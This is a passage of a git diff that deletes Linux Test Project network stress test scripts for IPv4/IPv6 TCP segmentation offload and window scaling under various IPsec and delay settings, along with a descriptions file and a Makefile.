-#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10 deleted file mode 100644 index ae6e3bd3..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso10 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11 deleted file mode 100644 index fd0df7fc..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso11 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12 deleted file mode 100644 index 4ba8abe4..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso12 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13 deleted file mode 100644 index 55ecf1fb..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso13 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14 b/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14 deleted file mode 100644 index 0d932c36..00000000 --- a/ltp/testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-tso14 -# -# Description: -# This test is simlar to tcp4-uni-tso1 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-tso testcase -# - -# The test case ID -TCID=tcp6-uni-tso14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-tso01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/uni-winscale/00_Descriptions.txt deleted file mode 100644 index fc45e59c..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/00_Descriptions.txt +++ /dev/null @@ -1,124 +0,0 @@ -Verify that the kernel is not crashed by a connection enabling TCP window scaling - -tcp4-uni-winscale01 - IPv4 - -tcp4-uni-winscale02 - IPv4 - IPsec [ AH / transport ] - -tcp4-uni-winscale03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-uni-winscale04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-uni-winscale05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-uni-winscale06 - IPv4 - IPcomp [ transport ] - -tcp4-uni-winscale07 - IPv4 - IPcomp [ tunnel ] - -tcp4-uni-winscale08 - IPv4 - Network is delayed - -tcp4-uni-winscale09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-uni-winscale10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-uni-winscale11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-uni-winscale12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-uni-winscale13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-uni-winscale14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-uni-winscale01 - IPv6 - -tcp6-uni-winscale02 - IPv6 - IPsec [ AH / transport ] - -tcp6-uni-winscale03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-uni-winscale04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-uni-winscale05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-uni-winscale06 - IPv6 - IPcomp [ transport ] - -tcp6-uni-winscale07 - IPv6 - IPcomp [ tunnel ] - -tcp6-uni-winscale08 - IPv6 - Network is delayed - -tcp6-uni-winscale09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-uni-winscale10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-uni-winscale11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-uni-winscale12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-uni-winscale13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-uni-winscale14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/Makefile b/ltp/testcases/network/stress/tcp/uni-winscale/Makefile deleted file mode 100644 index b29a4b2e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/Makefile +++ /dev/null @@ -1,30 +0,0 @@ -# -# network/stress/tcp/uni-winscale testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01 deleted file mode 100644 index 85dd24ef..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale01 +++ /dev/null @@ -1,75 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale01 -# -# Description: -# Verify that the kernel is not crashed with a connection to with -# the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# - Enable window scaling -# - Enable Nagle algorithm -# - Enable TCP Duplicate SACK support -# - Enable SACK Support -# - No packet are lost -# - Disable TSO if it is avalable -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-uni-winscale01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed by a connection enabling TCP window scaling" - -# Enable window scaling -DO_WINDOW_SCALING=true - -# Load tcp4-uni-basic01 -NON_BASIC=true - -. tcp4-uni-basic01 - -exit 0 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02 deleted file mode 100644 index 46746012..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale02 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale02 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03 deleted file mode 100644 index a5f65ed7..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale03 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale03 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04 deleted file mode 100644 index 93856e4e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale04 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale04 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05 deleted file mode 100644 index 591cfae7..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale05 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06 deleted file mode 100644 index fdbd14f6..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale06 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale06 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07 deleted file mode 100644 index 99cafd07..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale07 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale07 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08 deleted file mode 100644 index 6a5edf9e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale08 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale08 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09 deleted file mode 100644 index f3d39ec8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale09 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale09 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10 